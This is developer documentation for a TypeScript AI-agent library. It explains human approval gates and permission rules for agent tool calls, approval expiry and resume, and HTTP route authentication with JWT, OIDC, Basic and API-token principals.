const paused = await agent.send('Email the report to sam@example.com');
if (paused.finishReason === 'awaiting-approval') {
  console.log(await agent.approvals.list()); // [{ id, toolName: 'send_email', args: { to: '...' }, ... }]
  const result = await agent.approvals.resolve({ id: paused.approvalId!, approved: true }); // or approved: false, note: 'why'
  console.log(result.text);
}
```

## Which calls pause

`needsApproval` is `true`, or a predicate that receives the validated
arguments, typed from the tool's zod `input`:

```ts theme={null}
import { defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const sendEmail = defineTool({
  name: 'send_email',
  description: 'Send an email',
  input: z.object({ to: z.string().email(), subject: z.string(), body: z.string() }),
  needsApproval: ({ to }) => !to.endsWith('@mycompany.com'), // only external recipients pause
  async execute({ to, subject, body }) {
    return { messageId: '...' };
  },
});
```

The predicate can also deny a call or approve it only once per session; see
[Approve, deny or ask](#approve-deny-or-ask).

When the model asks for several tools in one turn, the calls that need no
approval run, and the run pauses once on **every** call that needs approval:
each gets its own approval id, and they run together once all of them are
decided (see [Several calls in one step](#several-calls-in-one-step)).

MCP tools ask for approval by default (`approval: 'always'`). With
`approval: 'annotations'` a server's tool annotations decide instead:
`readOnlyHint: true` runs, while `destructiveHint` true or absent (the MCP
default) asks. Choose per server with `approval: 'always' | 'annotations' |
'never'` or a function; see [MCP tool approval](/mcp-integration#approval-for-mcp-tools).

## Permission policies

`permissions` sets rules for the whole agent instead of tool by tool: a list of
`{ tool, when?, action, reason? }` rules, checked in order for every tool call
before the tool's own `needsApproval`. The first rule that matches decides:

* `allow` runs the call, without approval even if `needsApproval` would ask.
  A `needsApproval` that denies the call still denies it.
* `deny` does not run it. The model gets a tool error with `kind: 'denied'`
  and the rule's `reason` (see [Tool errors](/tools)), and streams see
  `tool.error`.
* `ask` pauses the run for approval, exactly like `needsApproval` (or asks the
  `approve` callback).

When no rule matches, the tool's own `needsApproval` decides, as before.
`tool` is a name, a list of names, a `RegExp` tested against the name, or
`'*'` for every tool. `when` narrows a rule to some calls: it gets the
validated arguments (after `preToolCall` hooks) and `{ toolName, toolCallId,
sessionId, principal }` (`principal`: who the run acts for, frozen; absent
without one — see [Principals in tools and approvals](/auth#principals-in-tools-and-approvals)),
and may be async; when it throws, the call fails with that
error. `allow(tools)`, `deny(tools, reason?)` and `ask(tools)` build the
common rules.

```ts theme={null}
import { allow, ask, createAgent, defineTool, deny, type PermissionRule } from '@lousho/build-ai-agent';
import { z } from 'zod';

const shell = defineTool({
  name: 'shell',
  description: 'Run a shell command',
  input: z.object({ command: z.string() }),
  execute: async ({ command }) => `ran ${command}`,
});

const noDeletes: PermissionRule = {
  tool: 'shell',
  when: (args) => /\brm\b/.test(String(args.command)),
  action: 'deny',
  reason: 'Deleting files is not allowed',
};

const agent = createAgent({
  provider,
  instructions: 'You are a coding assistant.',
  tools: [shell],
  permissions: [
    noDeletes, // first match wins: this beats the `ask` below
    allow(/^read_/), // read-only tools never pause
    deny('delete_file', 'Use the trash tool instead'),
    ask(['shell', 'write_file']),
  ],
  onPermissionDecision: (entry) => console.log(entry.at, entry.toolName, entry.decision, entry.rule?.reason),
});
```

`onPermissionDecision` is the audit log: it is called once per tool call
(except calls already refused for invalid arguments) with
`{ toolName, toolCallId, decision, rule?, args?, at }`. `decision` is the
matching rule's action or `'default'` when none matched, `rule` is that rule's
`{ index, reason? }`, `at` is an ISO timestamp, and `args` is left out when the
run sets `redactContent`. Streams get the same entry as a `permission.decision`
event (see [Streaming](/streaming)). Both are only produced when the agent
sets `permissions` or `onPermissionDecision`, or a permission mode other than
`'default'`.

For a named preset over these rules - `plan` (look, do not touch),
`acceptEdits` or `dontAsk`, switchable in the middle of a session - see
[Permission modes](/permission-modes).

Both options also exist on `AgentExecutor.execute()` / `stream()` and
`resumeAfterApproval()`. Sub-agents inherit the lead agent's rules, checked
before the sub-agent's own, and report their decisions to the lead's
`onPermissionDecision`.

## Approve, deny or ask

A `needsApproval` function may return more than a boolean. It gets the
validated arguments and `{ toolName, toolCallId, sessionId, messages, principal }`
(`principal`: who the run acts for, see
[Principals in tools and approvals](/auth#principals-in-tools-and-approvals)),
and returns (or resolves to):

* `'ask'` or `true`: pause for approval, as before.
* `'approve'` or `false`: run the call.
* `'deny'` or `{ deny: reason }`: do not run it and do not pause. The model
  gets a tool error with `kind: 'denied'` and the `reason`, so it can try
  something else; streams see `tool.error`, and `onPermissionDecision`
  records `decision: 'deny'` with the `reason` (and no `rule`).

Three helpers cover the common policies: `always()` (the same as `true`),
`never()` (`false`) and `once()`. `once()` asks the first time the tool is
called in a session; once a human approves a call, later calls of that tool in
the same session run without asking. A rejection is not remembered, nor is a
yes from a `createAgent({ approve })` callback (that callback is asked again
for each call), and a new session asks again. `once({ per: 'args' })` remembers approvals per tool and
arguments instead, so a call with different arguments asks again. The memory
lives in the transcript (the approved call's `tool` message carries
`metadata.approval`), so it is saved wherever the session, checkpoint or
approval snapshot is, and holds after a resume in another process. Without a
session, each `send()` is its own transcript. Compacting away that message
makes the tool ask again.

```ts theme={null}
import { createAgent, defineTool, once } from '@lousho/build-ai-agent';
import { z } from 'zod';

const askOnce = once();
const deploy = defineTool({
  name: 'deploy',
  description: 'Deploy a service',
  input: z.object({ service: z.string(), env: z.enum(['staging', 'prod']) }),
  needsApproval: (args, ctx) => (args.env === 'prod' ? { deny: 'Production deploys go through CI' } : askOnce(args, ctx)),
  execute: async ({ service, env }) => `deployed ${service} to ${env}`,
});
const agent = createAgent({ provider, instructions: 'You deploy services.', tools: [deploy] });
const chat = agent.session(); // the first staging deploy asks, later ones in this session run
```

With `permissions`, a `deny` rule always wins, and the tool's `needsApproval`
is not called. Otherwise the tool's own `'deny'` (or `{ deny }`) always
denies, whatever rule matched. An `allow` rule replaces the tool's ask (so it
skips `'ask'`, `true` and `once()`), and an `ask` rule pauses even when the
tool would approve. With no matching rule, the tool's `needsApproval` outcome
applies. A `preToolCall` hook runs before all of these and can deny the call
first (see [Hook outcomes](/hooks#hook-outcomes)). MCP
tools keep their annotation-derived `needsApproval` (a boolean). Sub-agents
evaluate their tools' `needsApproval` the same way, and a `once()` approval
given through the lead agent is remembered for the rest of that sub-agent's
task.

## `createAgent()` agents

* A paused `send()` resolves (it does not throw) with
  `finishReason: 'awaiting-approval'`, an `approvalId` and `approvalIds`: every
  call the step waits on, in call order (`approvalId` is the first; one entry
  when one call paused).
* `agent.approvals.list()` returns the pending calls, oldest first: the ones
  this agent paused on in this process and, with an `approvalStore` that
  implements `list()` (the file, SQLite, KV and in-memory stores do), the ones
  the store holds from another process or from before a restart. A pause that
  another process already decided is left out. Each entry is
  `{ id, toolCallId, toolName, args, createdAt }`,
  plus `subagentPath` when the call belongs to a sub-agent and `expiresAt`
  when the pause has a deadline (see [Approval expiry](#approval-expiry)). An
  entry past `expiresAt` stays listed until it is decided - the run is still
  paused - but deciding it denies the call.
* `agent.approvals.get(id)` returns one pending call without deciding it.
  With an `approvalStore` that implements `load()` the store answers first,
  so a pause saved before a restart is found and a pause another process
  decided is not; `undefined` when the id is unknown (malformed ids included)
  or already resolved.
* `agent.approvals.resolve({ id, approved, note? })` runs the call (approved)
  or gives the model a rejection with your `note` (rejected), continues the
  run, and resolves with the continued run's result, which may pause again.
  It throws when `id` is unknown or already resolved. Two more options apply
  to an approval (see [Don't ask again, approve with edits](#dont-ask-again-approve-with-edits)):
  `remember: 'session'` and `args`.
* A run that paused inside `agent.session()` continues in that session: the
  tool call, its result and the final answer join the session's transcript.
* `agent.stream()` and `session.stream()` end at the pause with an
  `approval.requested` event per paused call and `run.done`
  (`'awaiting-approval'`); resolve it the same way.

Pauses are kept in a per-agent `InMemoryApprovalStore` unless you pass
`approvalStore` or a `store` with `approvals`. To decide a pause after a
restart, give the agent a durable store, such as the SQLite one (see
[Choosing a store](/sessions#choosing-a-store)):

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { SqliteStore } from '@lousho/build-ai-agent/sqlite';

const store = new SqliteStore('./.lousho/agent.db');
const agent = createAgent({ provider, tools: [emailTool], store }); // or approvalStore: store.approvals
```

With a durable store, `list()` and `get(id)` read the store, so after a
restart (or from another process) they show every pause it still holds, and
stop showing one as soon as any process decides it. A stored pause that no
session of this process has run yet is listed without its `sessionId`. With a
custom `ApprovalStore` that has no `list()`, `list()` only knows the pauses
made by this agent object.

### Several calls in one step

When one model step has several calls that need approval, the run pauses once
on all of them. `result.approvalIds` lists them in call order, each is its own
`agent.approvals.list()` entry, and a stream reports one `approval.requested`
event per call. Decide them in any order:

* Deciding a call while others of the step are still undecided runs nothing:
  `resolve()` resolves with `finishReason: 'awaiting-approval'` and the ids
  still to decide in `approvalIds` (and `approvalId`, the first of them).
* The decision that completes the step runs it: the approved calls run in call
  order, each rejected one gives the model its rejection, and the run
  continues. No call runs before the human saw all of them.
* `agent.approvals.resolveAll([{ id, approved, args?, remember?, note? }, ...])`
  decides several at once (one after the other, in the order given) and
  resolves with the last decision's result.

The step's calls that need no approval do not wait: they run when the step
does, before the pause.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' /* , tools: [payInvoice, archiveThread] */ });
const paused = await agent.send('Pay the invoice and archive the thread');
// paused.approvalIds: ['…pay', '…archive']
const result = await agent.approvals.resolveAll([
  { id: paused.approvalIds![0], approved: true, args: { amount: 120 } },
  { id: paused.approvalIds![1], approved: false, note: 'keep it for now' },
]);
```

Each decision is stored with the step's other pending calls, so they can be
decided from different requests, processes or channels, and after a restart,
with a durable store. Decide the calls of one step from one process at a
time: two decisions on the same step racing in two processes can fail with
`LOUSHO_APPROVAL_CONFLICT` (nothing runs; decide again). A paused session
reports the ids still to decide in `session.pending()` (`approvalIds`). An
`approve` callback is asked about each call of the step; a call it defers
waits for a human while it decides the rest.

A sub-agent whose step pauses on several calls pauses the lead on all of them
(each listed with `subagentPath`), and they are decided the same way. A
sub-agent started by a step that also pauses on calls of its own runs with
the step; when it pauses too, the run pauses on it once the step's calls are
decided.

### Don't ask again, approve with edits

* `remember: 'session'` approves this call and every later call of the same
  tool **with the same arguments** in the same session, without pausing (the
  tool's `needsApproval` is not asked again; a permission rule's `ask` still
  pauses). Calls with other arguments ask as before. Like `once()`, the memory
  is the transcript, so it holds after a restart and is gone in a new session.
* `args` approves with edited arguments ("approve with edits"). They are
  validated against the tool's input schema; invalid arguments throw
  `LOUSHO_TOOL_ARGS_INVALID` and leave the approval pending, so you can decide
  again. The model's tool call in the transcript is rewritten to the edited
  arguments, so the model sees what ran. `args` applies to a tool call, not
  to a question, a sign-in or a handoff, and is ignored with
  `approved: false`.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini', tools: [emailTool] });
const support = agent.session({ id: 'support-42' });
const paused = await support.send('Email the report to sam@example.com');
// Send it to the team list instead, and stop asking for that exact email in this session.
await agent.approvals.resolve({ id: paused.approvalId!, approved: true, args: { to: 'team@example.com' }, remember: 'session' });
```

`remember` and `args` are for decisions people make. An `approve` callback
decides each call it is asked about, and `once()` does not count its yes.

### Ending the run after a rejection

A rejection is a tool result, not a stop: the model gets the `kind: 'rejected'`
error (with your `note`) and the run continues, so a model that still wants the
task done may call the tool again, with new arguments, and pause on a new
approval. There is no option on `resolve()` that ends the run. To stop that:

* Say it in the tool's `description` or the agent's `instructions`: "If the
  reviewer rejects the call, do not call it again; tell the user it was not
  done."
* Enforce it with a `preToolCall` hook that denies the tool once the
  transcript holds a rejection of it. A denial is not an approval pause, so the
  model gets the reason and answers:

```ts theme={null}
import { createAgent, type AgentHook } from '@lousho/build-ai-agent';

const noRefile: AgentHook = {
  name: 'no-refile',
  preToolCall(ctx) {
    const rejected = ctx.messages.some((m) => m.role === 'tool' && m.toolName === ctx.toolName && String(m.content).includes('"kind":"rejected"'));
    return rejected ? { deny: 'A reviewer rejected this call. Do not call it again; tell the user it was not done.' } : undefined;
  },
};

const agent = createAgent({ provider, instructions: 'You file claims.', tools: [emailTool], hooks: [noRefile] });
```

The rule is per run history: in a long session, a rejection earlier in the
transcript also blocks later, unrelated calls of that tool, so narrow the check
(for example to the messages after the latest user message) if that is too broad.

### Approval expiry

`createAgent({ approvalTtlMs })` puts a deadline on every pause the agent
makes: the pending approval records `expiresAt` (an ISO-8601 timestamp, like
`createdAt`), and the `approval.requested` stream event carries it too, so a
UI can show the deadline. Past it, the pause can no longer be approved -
deciding it, whenever and wherever that happens, denies the call: the model
gets a `kind: 'denied'` tool error (`Approval of 'send_email' expired before it was
decided`, with no separate `reason` field) and the run goes on, like a rejection.
The reason string `'approval expired'` (the `APPROVAL_EXPIRED_REASON` export)
is only on the audit entry (`onPermissionDecision`). An expired pause resolved
with `approved: true` does not run the tool.

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const sendEmail = defineTool({
  name: 'send_email',
  description: 'Send an email',
  input: z.object({ to: z.string() }),
  needsApproval: true,
  execute: async ({ to }) => `sent to ${to}`,
});
const agent = createAgent({
  provider,
  tools: [sendEmail],
  approvalTtlMs: 5 * 60_000, // pauses die after five minutes unanswered
});
```

* Expiry is checked when the pause is decided, so it holds through a durable
  `approvalStore` (a run resumed in another process or after a restart sees
  the denial, not a stale approval) and through `agent.approvals.resolve()`
  and `streamResolve()` alike.
* An `approve` callback that is still waiting at the deadline is cut off: the
  `send()` / session turn resumes with the denial.
* `send(message, { approvalTtlMs })` overrides it for one run.
* A deadline is a positive number of milliseconds of at most 100 years;
  anything else, `1e20` included, throws
  `LOUSHO_CONFIG_INVALID`. Leave it out for pauses that never expire.
* A permission rule's `ttlMs` bounds only that rule's pauses and wins over
  the agent default: `{ tool: 'deploy', action: 'ask', ttlMs: 30_000 }`, or
  `ask('deploy', { ttlMs: 30_000 })`.
* A run that keeps an audit log records the expiry as a `deny` decision with
  `reason: 'approval expired'` (see `onPermissionDecision` above).
* Unset, pauses never expire - the same as before.

### Resuming with a changed agent

An approval snapshot carries the paused agent's fingerprint, and resolving it
with an agent whose model, tools or instructions differ warns (`'warn'`, the
default), rejects with `LOUSHO_AGENT_DRIFT` (`onAgentDrift: 'error'`, the
approval stays pending) or carries on (`'ignore'`). An approved call whose tool
no longer exists always rejects with `LOUSHO_RESUME_TOOL_MISSING`. See
[Resuming with a changed agent](/durable-execution#resuming-with-a-changed-agent).

On a resumed approved call the pre-tool hooks run again, and the arguments they
leave (whether through `{ input }` or by changing `ctx.args` in place) must equal
what was approved, key order aside; otherwise the call is refused with a
`kind: 'validation'` tool error. A hook that redacts or normalizes its input
should run on the paused run too, so the human approves the redacted input.
That re-fire sets `ctx.resumedAfterApproval: true`, so a stateful hook that
should run only once per call (a loop guard, an audit counter) can skip it.

### Deciding in code

Pass `approve` to decide each call as it comes up instead of pausing: `true`
runs the tool, `false` sends the model a rejection, and a string approves with
that string as the note (an `ask_question` answer). The literal `'defer'` does
not decide: the call stays pending - listed by `agent.approvals.list()` and
resolvable by `agent.approvals.resolve()` - and the run surfaces the pause
(`send()` resolves with `finishReason: 'awaiting-approval'`), exactly as if the
callback had never been asked. An approver can thereby decide the calls it
trusts automatically and hand the rest to a human. It applies to `send()`,
sessions and `agent.approvals.resolve()`; `stream()` still ends at the pause.
Its argument's `principal` is whose call it is, and
`agent.approvals.resolve(decision, { principal })` records who decided as the
tool's `ctx.approval.by` (see [auth](/auth#who-approved)).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const trusted = createAgent({
  provider,
  tools: [emailTool],
  approve: ({ toolName, args }) => toolName !== 'send_email' || String(args.to).endsWith('@example.com'),
});
```

### Streaming the continued run

`agent.approvals.streamResolve(decision, { signal })` and
`agent.approvals.streamAnswer({ id, answer }, { signal })` continue the run
like `resolve()` and `answer()`, but return the `AgentRun` that
`agent.stream()` returns (see [Streaming](/streaming#streaming-after-an-approval)):
`run.start`, the decided call's `tool.resume` and `tool.done` (`tool.error` for
a rejection; `tool.resume`, not a second `tool.start`, because the paused run
already reported that call's start), then the continuation's events up to `run.done`. `run.result`
is what `resolve()` resolves with. A continuation that pauses again ends with
`approval.requested` and `run.done` (`'awaiting-approval'`), even with an
`approve` callback, as `stream()` does. A pause made inside a session
continues in that session, and `run.done` comes once the transcript is saved.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ provider, tools: [emailTool] });
const paused = await agent.send('Email Sam the report');

if (paused.approvalId) {
  const run = agent.approvals.streamResolve({ id: paused.approvalId, approved: true });
  for await (const event of run) {
    if (event.type === 'text.delta') process.stdout.write(event.text);
  }
}
```

## Asking the user a question

`createAgent({ askQuestion: true })` gives the agent the built-in
`ask_question` tool (off by default; `askQuestionTool()` returns the same tool
to pass in `tools` yourself). Its input is
`{ question: string; options?: string[]; allowFreeText?: boolean }`. A call
pauses the run through the approval mechanism, so it waits exactly like an
approval: in sessions, in durable stores and across a restart.

* The pending record has `kind: 'question'` and
  `question: { text, options?, allowFreeText? }`, in `agent.approvals.list()`,
  in the `approve` callback and on the `approval.requested` event, so a UI can
  render a question instead of an approve button.
* `agent.approvals.answer({ id, answer })` (the same as
  `resolve({ id, approved: true, note: answer })`) continues the run. The
  model gets `{ answer, option? }`, where `option` is the index of the matching
  entry of `options` (case-insensitive). With `allowFreeText: false`, an answer
  outside the options reaches the model as a tool error.
* `resolve({ id, approved: false, note? })` declines: the model gets a
  `kind: 'rejected'` tool error saying the user declined to answer.
* An `approve` callback may return a string to answer in code, which is handy
  in tests and scripted agents.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'Plan the trip with the user.', provider, askQuestion: true });

const paused = await agent.send('Book me a weekend away');
const [pending] = await agent.approvals.list();
if (paused.approvalId && pending?.kind === 'question') {
  console.log(pending.question?.text, pending.question?.options);
  const result = await agent.approvals.answer({ id: paused.approvalId, answer: 'Lisbon' });
  console.log(result.text);
}

// Scripted: answer every question in code.
const scripted = createAgent({
  provider,
  askQuestion: true,
  approve: (request) => (request.kind === 'question' ? 'Lisbon' : false),
});
```

A permission rule that `allow`s `ask_question` skips the pause, so the call
fails with "No answer"; leave the tool to its default.

A tool that needs the user to sign in to an OAuth provider pauses the same way,
with `kind: 'sign-in'` and the link in `signIn`; see
[Tools that need sign-in](/oauth#tools-that-need-sign-in).

## Advanced: the executor API

`createAgent()` agents use `agent.approvals` (see
[`createAgent()` agents](#createagent-agents)). With `AgentExecutor.execute()`
directly (see [the executor API](/executor-api)), pass an `approvalStore`. On a gated
call the executor persists an `ExecutionSnapshot` instead of invoking the
tool. Resume later, after a real restart if you like, with
`resumeAfterApproval()`:

```ts theme={null}
import { AgentExecutor, resumeAfterApproval } from '@lousho/build-ai-agent/executor';
import { StorageServiceApprovalStore } from '@lousho/build-ai-agent/utils';

const approvalStore = new StorageServiceApprovalStore(storage);

const paused = await AgentExecutor.execute({
  agent, input, provider, toolRegistry, approvalStore,
});
// paused.finishReason === 'awaiting-approval', paused.approvalId is set

// ...later, from any process, after a human approves...
const result = await resumeAfterApproval(
  { id: paused.approvalId!, approved: true },
  approvalStore,
  toolRegistry,
  provider,
);
```

`resumeAfterApproval(decision, store, registry, provider, options?, checkpointStore?)`
takes most of the execution options of `execute()` (for example `signal`,
`onAgentEvent`, `exporter`). With `sessionId` + `checkpointStore`, the pause is also
checkpointed, and `execute()` with that `sessionId` throws
`SessionAwaitingApprovalError` until the approval is decided, so a pending
approval cannot be bypassed (see [Durable execution](/durable-execution)).
`streamResumeAfterApproval()` takes the same arguments and streams the
continued run as an `AgentRun` (see
[Streaming after an approval](/streaming#streaming-after-an-approval)).

| Store | Where the pause lives |
| - | - |
| `InMemoryApprovalStore` | This process only; the default for `createAgent()`. |
| `StorageServiceApprovalStore(storage)` | JSON files through a `StorageService`. |
| `fileStore(dir)` | One JSON file per pause, `<dir>/approvals/<id>.json`, on one machine; an approval can be resolved by only one process (see [Choosing a store](/sessions#choosing-a-store)). |
| `SqliteStore.approvals` | One SQLite file, shared by several processes on one host ([details](/sessions#sharing-a-sqlite-file)); an approval can be resolved by only one of them. |

An `ApprovalStore` needs `save()` and `resolve()`. `load(id)` (read a pause
without claiming it) and `list()` (every pause not resolved yet, oldest first)
are optional; `agent.approvals.get()` and `list()` use them to see pauses other
processes saved or decided. The built-in stores implement both (`KVStore` lists
only when its namespace binding has `list`, as a real one does).
`StorageServiceApprovalStore` implements `load()` only.

## Elsewhere

* **Sub-agents.** A gated tool inside a sub-agent pauses the lead run; the
  lead's `agent.approvals` resolves it. See
  [Approvals inside a sub-agent](/sub-agents#approvals-inside-a-sub-agent).
* **Workspace tools.** The shell tool is approval-gated by default. See
  [Workspace tools](/workspace-tools).
* **MCP.** Approval-gated tools cannot be approved over MCP; see
  [Serve an agent over MCP](/mcp-integration#serve-an-agent-over-mcp).
* **Agent Forge** shows pending approvals as inline cards in its chat; see
  [Agent Forge](/agent-forge).


# Route auth and principals
Source: https://lousho.com/auth



An agent served over HTTP needs to know two things about each request: may it
call at all, and who is it. `@lousho/build-ai-agent/auth` answers both. You
give a route an ordered list of auth entries (`jwt()`, `oidc()`, `basic()`,
`apiToken()`, `anonymous()` or your own function); the first entry that
accepts the request returns a **principal**, and that principal goes into the
run, where your `model` / `instructions` / `tools` functions and memory scopes
can read it.

```ts theme={null}
import { createAgent, createRouteHandler } from '@lousho/build-ai-agent';
import { apiToken, jwt } from '@lousho/build-ai-agent/auth';
import { mockModel } from '@lousho/build-ai-agent/testing';

const agent = createAgent({
  provider: mockModel(['Hello!']),
  instructions: ({ principal }) => `You are helping ${principal?.id ?? 'a guest'}.`,
});

// Read secrets from the environment and fail at startup when one is missing.
// Never fall back to a literal: a default in your source is a secret everyone can read.
function requireEnv(name: string): string {
  const value = process.env[name];
  if (!value) throw new Error(`${name} is not set`);
  return value;
}

export const { GET, POST } = createRouteHandler(agent, {
  auth: [
    jwt({ secret: requireEnv('JWT_SECRET'), issuer: 'https://auth.example.com', audience: 'agent-api' }),
    apiToken(requireEnv('CI_TOKEN'), { id: 'ci' }),
  ],
});
```

## The auth list

Entries run in order, and each one does one of three things:

| An entry ... | Then |
| - | - |
| returns a `Principal` | the request is accepted; later entries are not asked |
| returns `null` or `undefined` | it skips: the next entry is asked |
| throws `AuthError(401)` or `AuthError(403)` | the request is refused with that status; later entries are not asked |

When every entry skips, the request gets a `401`. An empty list refuses every
request. An entry that throws anything else is a bug: the request gets a `500`
with a generic body, and the error is logged with `console.error` (never sent).

The built-in helpers never throw for a bad credential: a wrong password, an
expired token or a token for another audience all skip, so the next entry gets
its chance (two `jwt()` entries for two issuers work), and a request nobody
accepts ends in the same `401`.

A `Principal` is:

```ts theme={null}
interface Principal {
  id: string;                                 // JWT `sub`, Basic user name, 'api-token', ...
  type: 'user' | 'service';
  authenticator: string;                      // 'jwt' | 'oidc' | 'basic' | 'api-token' | 'anonymous' | your name
  issuer?: string;                            // JWT `iss`: the same id from another issuer is another caller
  claims?: Readonly<Record<string, unknown>>; // verified claims; never the raw token or a password
}
```

## Helpers

All helpers are created once, at start-up, and check their options then: a
helper that cannot work throws [`LOUSHO_AUTH_CONFIG_INVALID`](/errors#lousho_auth_config_invalid)
instead of refusing every request later.

### `jwt()`

Accepts `Authorization: Bearer <JWT>` signed by the key you configure. Give
exactly one key source:

| Option | Key | Algorithms (default: all of the key's family) |
| - | - | - |
| `secret` | an HMAC secret of at least 32 bytes | `HS256`, `HS384`, `HS512` |
| `publicKey` | a PEM `-----BEGIN PUBLIC KEY-----` or a JWK | `RS256`, `RS384`, `RS512` (RSA, 2048 bits or more), `ES256` (P-256), `ES384` (P-384) |
| `jwksUrl` | a JWKS endpoint (https, or http on localhost) | `RS256`, `ES256` by default; RSA and EC keys only |

```ts theme={null}
import { jwt } from '@lousho/build-ai-agent/auth';

const fromOurAuthServer = jwt({
  jwksUrl: 'https://auth.example.com/.well-known/jwks.json',
  issuer: 'https://auth.example.com',
  audience: 'agent-api',
  // Map the verified claims to the principal; return null to skip.
  principal: (claims) => (typeof claims.sub === 'string' ? { id: claims.sub, type: 'user', authenticator: 'jwt', issuer: claims.iss, claims } : null),
});
```

What is checked:

* The header's `alg` must be one of `algorithms`; `none` is always refused, and
  so is a token whose header marks an extension `crit`.
* The algorithm must fit the key: a public key is never used as an HMAC secret,
  whatever the token's header says, and a key set never supplies an HMAC key.
* `exp` is required; `nbf` and `iat` are honored. All three allow
  `clockToleranceSec` of clock skew (default 60, at most 300).
* `iss` must equal one of `issuer` exactly (no trailing-slash tolerance), when
  you set `issuer`.
* `aud` (a string or a list) must contain one of `audience`. `audience` is
  required; pass `allowAnyAudience: true` to skip that check on purpose.
* A key set is fetched with a 5-second timeout, cached for 10 minutes, and
  refetched at most once every 30 seconds when a token names a `kid` it does
  not know (a failed fetch is retried on the same 30-second bound). Its URL is
  configuration only: the `jku`, `x5u` and `jwk` headers of a token are ignored.

The default principal is `{ id: sub, type: 'user', authenticator: 'jwt', issuer: iss, claims }`;
a token without `sub` skips.

### `oidc()`

A `jwt()` whose keys come from an OpenID Connect provider. It fetches
`<issuer>/.well-known/openid-configuration` once (or `discoveryUrl`), requires
the document's `issuer` to equal yours exactly, and uses its `jwks_uri` (https,
or http on `localhost` / `127.0.0.1` / `[::1]` — the same rule as `jwt()`'s
`jwksUrl`). Algorithms default to `RS256` and `ES256`; HMAC is not allowed.

```ts theme={null}
import { oidc } from '@lousho/build-ai-agent/auth';

const google = oidc({ issuer: 'https://accounts.google.com', audience: process.env.GOOGLE_CLIENT_ID ?? 'client-id' });
```

The principal has `authenticator: 'oidc'` and the provider's `iss` as `issuer`.

### `basic()`

HTTP Basic credentials. User names and passwords are NFC-normalized and
compared in constant time, and every configured user is compared on every
request, so an unknown user takes as long as a wrong password. The `401`
carries `WWW-Authenticate: Basic realm="<realm>", charset="UTF-8"` so browsers
show their login prompt.

```ts theme={null}
import { basic } from '@lousho/build-ai-agent/auth';

const operators = basic({ users: { ops: process.env.OPS_PASSWORD! }, realm: 'agent' });
// Or check against your own store (compare in constant time there):
const fromDatabase = basic({ users: async (user, password) => user === 'svc' && password === process.env.SVC_PASSWORD });
```

**Only use `basic()` over HTTPS**: the password travels with every request.

### `apiToken()` and `anonymous()`

`apiToken(token, { id })` accepts `Authorization: Bearer <token>` (compared in
constant time) as the service principal `{ id: id ?? 'api-token', type: 'service', authenticator: 'api-token' }`.
It is what a token string has always meant: `createRouteHandler({ auth: '<token>' })`
and `LOUSHO_API_TOKEN` are `apiToken()`. An empty string (`auth: ''`, e.g. an
env var that is set but blank) is refused with `LOUSHO_AUTH_CONFIG_INVALID`
by `createRouteHandler()` when it is created and by `serveFetch()` on every
request: it neither locks nor opens the routes silently.

`anonymous()` accepts everyone as `{ id: 'anonymous', type: 'user', authenticator: 'anonymous' }`:
put it last for routes that serve signed-in and anonymous callers, and read
`principal.authenticator` in the run.

### Your own entry

Any function of the `Request` is an entry. Declare the challenges it answers a
`401` with, or it advertises `Bearer`:

```ts theme={null}
import { AuthError, type AuthFn } from '@lousho/build-ai-agent/auth';

const tenantKey: AuthFn = async (request) => {
  const key = request.headers.get('x-tenant-key');
  if (!key) return null; // not ours: ask the next entry
  if (key === 'suspended-tenant') throw new AuthError(403); // stop here
  return { id: key, type: 'service', authenticator: 'tenant-key' };
};
tenantKey.challenges = [{ scheme: 'Bearer', realm: 'tenants' }];
```

## 401, 403 and `WWW-Authenticate`

* Nobody accepted the request (or an entry threw `AuthError(401)`): `401` with
  `{ "error": "Unauthorized" }` and one `WWW-Authenticate` header per distinct
  challenge of the list, in order (`Bearer` for `jwt`, `oidc`, `apiToken`;
  `Basic realm="..."` for `basic`).
* An entry threw `AuthError(403)`: `403` with `{ "error": "Forbidden" }`.
* An entry failed in another way: `500` with `{ "error": "Internal Server Error" }`.

The body never says which check failed: an expired token, a bad signature and
a wrong audience all get the same `401`. Every auth response carries
`Cache-Control: no-store`. Tokens and passwords are never logged.

## Where it runs

| Helper or server | Node 22+ | Cloudflare Workers, Vercel Edge, Bun, Deno |
| - | - | - |
| `jwt()`, `oidc()`, `basic()`, `apiToken()`, `anonymous()`, `routeAuth()` | yes | yes: Web Crypto and `fetch` only, no `node:` import |
| `createRouteHandler({ auth })` | yes | yes |
| The `node-server` and `docker` targets | yes | no (Node `http`) |
| An agent directory's `auth.ts` | yes (`node-server`, `docker`) | no |
| The `cloudflare-worker` build target | | `LOUSHO_API_TOKEN` only; no auth list yet |

`oidc()` and `jwt({ jwksUrl })` need outbound `fetch` to the key set, which
every listed runtime has. In a hand-written Worker, call `createRouteHandler`
or `routeAuth()` yourself with any helper.

## `createRouteHandler`

`auth` takes the list, one entry, a token string, or (as before) a function
that returns a boolean. `true` accepts with the principal
`{ id: 'anonymous', type: 'user', authenticator: 'custom' }`, `false` is a
`401`. Without `auth` the route is open, and in production
(`NODE_ENV=production`) it logs one warning. `GET <basePath>/health` is never
behind `auth`. The accepted principal reaches every route: `POST <basePath>`,
`/chat`, approvals and the `useChat` endpoint. See [Next.js](/nextjs#routes).

## The node server and `auth.ts`

The generated server (it uses the bundle's internal `createDeployedServer()`) takes the same list (or one entry).
When `LOUSHO_API_TOKEN` is set, `apiToken(LOUSHO_API_TOKEN)` is appended after
your entries, so an operator's token keeps working. Channels under
`/channels/<name>` are not behind the list: they verify their own requests.

In an [agent directory](/agent-directories), put the list in `auth.ts` (or
`auth.js`), next to `agent.ts`:

```ts theme={null}
// my-agent/auth.ts
import { apiToken, oidc } from '@lousho/build-ai-agent/auth';

export default [
  oidc({ issuer: 'https://login.example.com', audience: 'agent-api' }),
  apiToken(process.env.CI_TOKEN!, { id: 'ci' }),
];
```

`lousho build --target=node-server` (or `docker`) bundles it, and the built
